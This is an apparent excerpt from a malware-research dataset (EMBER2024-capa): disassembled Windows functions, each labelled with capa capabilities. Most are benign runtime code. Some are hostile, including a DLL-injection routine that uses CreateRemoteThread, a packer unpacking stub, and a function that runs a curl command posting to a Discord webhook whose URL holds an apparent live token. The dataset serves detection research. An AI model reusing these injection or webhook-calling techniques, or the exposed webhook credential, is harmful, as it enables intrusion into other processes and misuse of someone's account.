joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a4a0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x14000a4d0
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x14000a4cf
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x14000a4d5
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x14000a4cf
mov eax, 0
jmp 0x14000a4cf

Function at 0x14000ab50
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.14000ab00
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140014160
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001cca0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001cca0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x1400141d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14059b174]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140014360
mov rax, qword [0x14059b178]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14001421c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x1400142a5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x140014200
mov rcx, rdi
call fcn.140014d30
test rax, rax
mov r12, rax
je 0x1400143b2
mov rax, qword [0x14059b178]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140014e70
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14059b178]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140014395
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001429e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140014310
add dword [0x14059b174], 1
cmp ebx, 8
jae 0x1400142d1
test bl, 4
jne 0x140014370
test ebx, ebx
je 0x1400142c6
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140014384
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x1400142c6
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x1400142ea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x14059b178]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001429e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140014160
xor esi, esi
jmp 0x140014227
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x1400142c6
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x1400142c6
mov rax, qword [0x14059b178]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140014160
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140014160
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140014980
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14059b1e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14059b1c0]
test rbx, rbx
je 0x1400149d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400149cb
test rsi, rsi
je 0x1400149cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400149b0
lea rcx, [0x14059b1e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140014d30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140594510]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140014d9f
mov rcx, r9
call fcn.140014c00
test eax, eax
je 0x140014d9f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x140014d9d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140014d94
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140014d9f
add rdx, 0x28
cmp rdx, r9
jne 0x140014d80
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001f320
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405909a0]
jmp 0x140015b60

Function at 0x14001f330
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1405909a0]
jmp 0x140015b60
Function at 0x594630
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x59463d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x59464d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x594635
lea eax, [rcx + 1]
jmp 0x59465b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x59466e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x594654
sub eax, 3
jb 0x59468e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x5946dd
sar eax, 1
movsxd rbp, eax
jb 0x5946c4
jmp 0x59469c
add ebx, ebx
jne 0x59469a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x5946c4
inc ecx
add ebx, ebx
jne 0x5946aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x5946c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x5946bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x5946ac
add ecx, 2
jmp 0x5946c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.005945f2
jmp 0x59463d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x82c00
mov dl, 0x18
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x594729
cmp rsi, rcx
jae 0x594731
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x594710
cmp al, 0x8f
ja 0x594710
cmp byte [rsi - 2], 0xf
je 0x594716
sub al, 0xe8
cmp al, 1
ja 0x5946fa
cmp rsi, rcx
jae 0x594731
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x594700
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x594731
lodsb al, byte [rsi]
jmp 0x594710
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x191000]
mov eax, dword [rdi]
or eax, eax
je 0x59478e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x194000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x59473e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x594788
mov qword [rbx], rax
add rbx, 8
jmp 0x59475e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x5947c8
cmp al, 0xef
ja 0x5947ba
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x59479a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x5947a9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x59481c
sub rsp, 0xffffffffffffff80
jmp 0x45e240
Function at 0x1400014c0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x280
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, r8
mov edi, ecx
mov qword [rsp + 0x40], rbx
xor r9d, r9d
lea r8, [rsp + 0x60]
mov edx, 0x104
lea r15, [0x140006710]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000158f
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x14000158f
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000158f
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x1400015b5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140001655
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
xor edi, edi
mov qword [rbx + 0x38], rdi
xor al, al
jmp 0x140001687
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r9, eax
lea r9, [r9*2 + 2]
xor edi, edi
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x60]
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001632
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000160e
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], r15
mov rax, qword [rcx]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x140001632
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9, rbp
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001659
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140001655
cmp rcx, rbx
mov rax, qword [rcx]
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], rdi
xor al, al
jmp 0x140001687
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140001685
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], rdi
mov al, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140004b80
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x280
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002970
Capabilities:
Encode data using xor

Disassembly:
mov r9, rcx
lea rax, [rcx + 8]
mov rcx, qword [rcx]
xor edx, edx
test rcx, rcx
je 0x140002999
lea r8d, [rdx - 0x3f]
xor byte [rdx + rax], r8b
inc rdx
mov rcx, qword [r9]
cmp rdx, rcx
jb 0x140002981
mov byte [rcx + rax], 0
ret
mov byte [rcx + rax], dl
ret

Function at 0x140003330
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140003358
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000337e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140003380
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400033d9
test ecx, ecx
jle 0x1400033b9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400033d9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400033d9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140003400
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140003422
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140003438
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003454
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003456
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003492
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000352e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400034cd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000350e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000352e
cmp rbx, rax
ja 0x1400034e0
test rbx, rbx
je 0x14000352e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140003950
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000397d
xor eax, eax
jmp 0x140003ada
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x1400039a8
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x1400039a8
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140003ada
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003acd
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400039eb
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003a16
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003ad2
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003a85
sub eax, 1
je 0x140003a85
cmp eax, 2
jne 0x140003acd
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003ad2
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003ab3
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140003acd
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003ad2
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004b80
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003fe0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400040b3
cmp byte [rcx + 0x71], 0
je 0x1400040b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400040af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004074
sub eax, 1
je 0x140004078
cmp eax, 2
jne 0x1400040af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004b80
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400040a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400040af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000405c
xor al, al
jmp 0x14000405c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004b80
add rsp, 0x60
pop rbx
ret

Function at 0x1400055b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400055fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400055fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400055fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400055fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400055fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005600
xor al, al
add rsp, 0x28
ret
Function at 0x140001178
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
lea rcx, str.curl__H__Content_Type:_application_json___X_POST__d___content_:__Hi___https:__discord.com_api_webhooks_1156961201423654912_5yDB0GUc1gdM_6q806gwrynsojmDuwzmZltLSqgR_iYAyjwSvzm_qZDKW5pcgermA6rv
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
movabs rdi, 0x7fffffffffffffff
mov rbx, rax
cmp rax, rdi
ja 0x140001301
cmp rax, 0x10
jae 0x1400011f7
mov r8, rax
mov qword [rbp - 0x20], rax
lea rdx, str.curl__H__Content_Type:_application_json___X_POST__d___content_:__Hi___https:__discord.com_api_webhooks_1156961201423654912_5yDB0GUc1gdM_6q806gwrynsojmDuwzmZltLSqgR_iYAyjwSvzm_qZDKW5pcgermA6rv
mov qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov byte [rbp + rbx - 0x30], 0
jmp 0x14000128c
or rax, 0xf
cmp rax, rdi
jbe 0x14000122d
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001340
test rax, rax
je 0x1400012d2
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001269
mov ecx, 0x16
mov rdi, rax
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001258
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001307
jmp 0x14000120e
test rcx, rcx
je 0x140001267
call fcn.140001340
mov rsi, rax
jmp 0x140001269
xor esi, esi
mov r8, rbx
mov qword [rbp - 0x30], rsi
lea rdx, str.curl__H__Content_Type:_application_json___X_POST__d___content_:__Hi___https:__discord.com_api_webhooks_1156961201423654912_5yDB0GUc1gdM_6q806gwrynsojmDuwzmZltLSqgR_iYAyjwSvzm_qZDKW5pcgermA6rv
mov qword [rbp - 0x20], rbx
mov rcx, rsi
mov qword [rbp - 0x18], rdi
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov byte [rsi + rbx], 0
cmp qword [rbp - 0x18], 0x10
lea rcx, [rbp - 0x30]
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400012de
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400012d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000137c
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001320
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
call fcn.140001164
int3
call fcn.1400010c4
int3

Function at 0x140001624
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]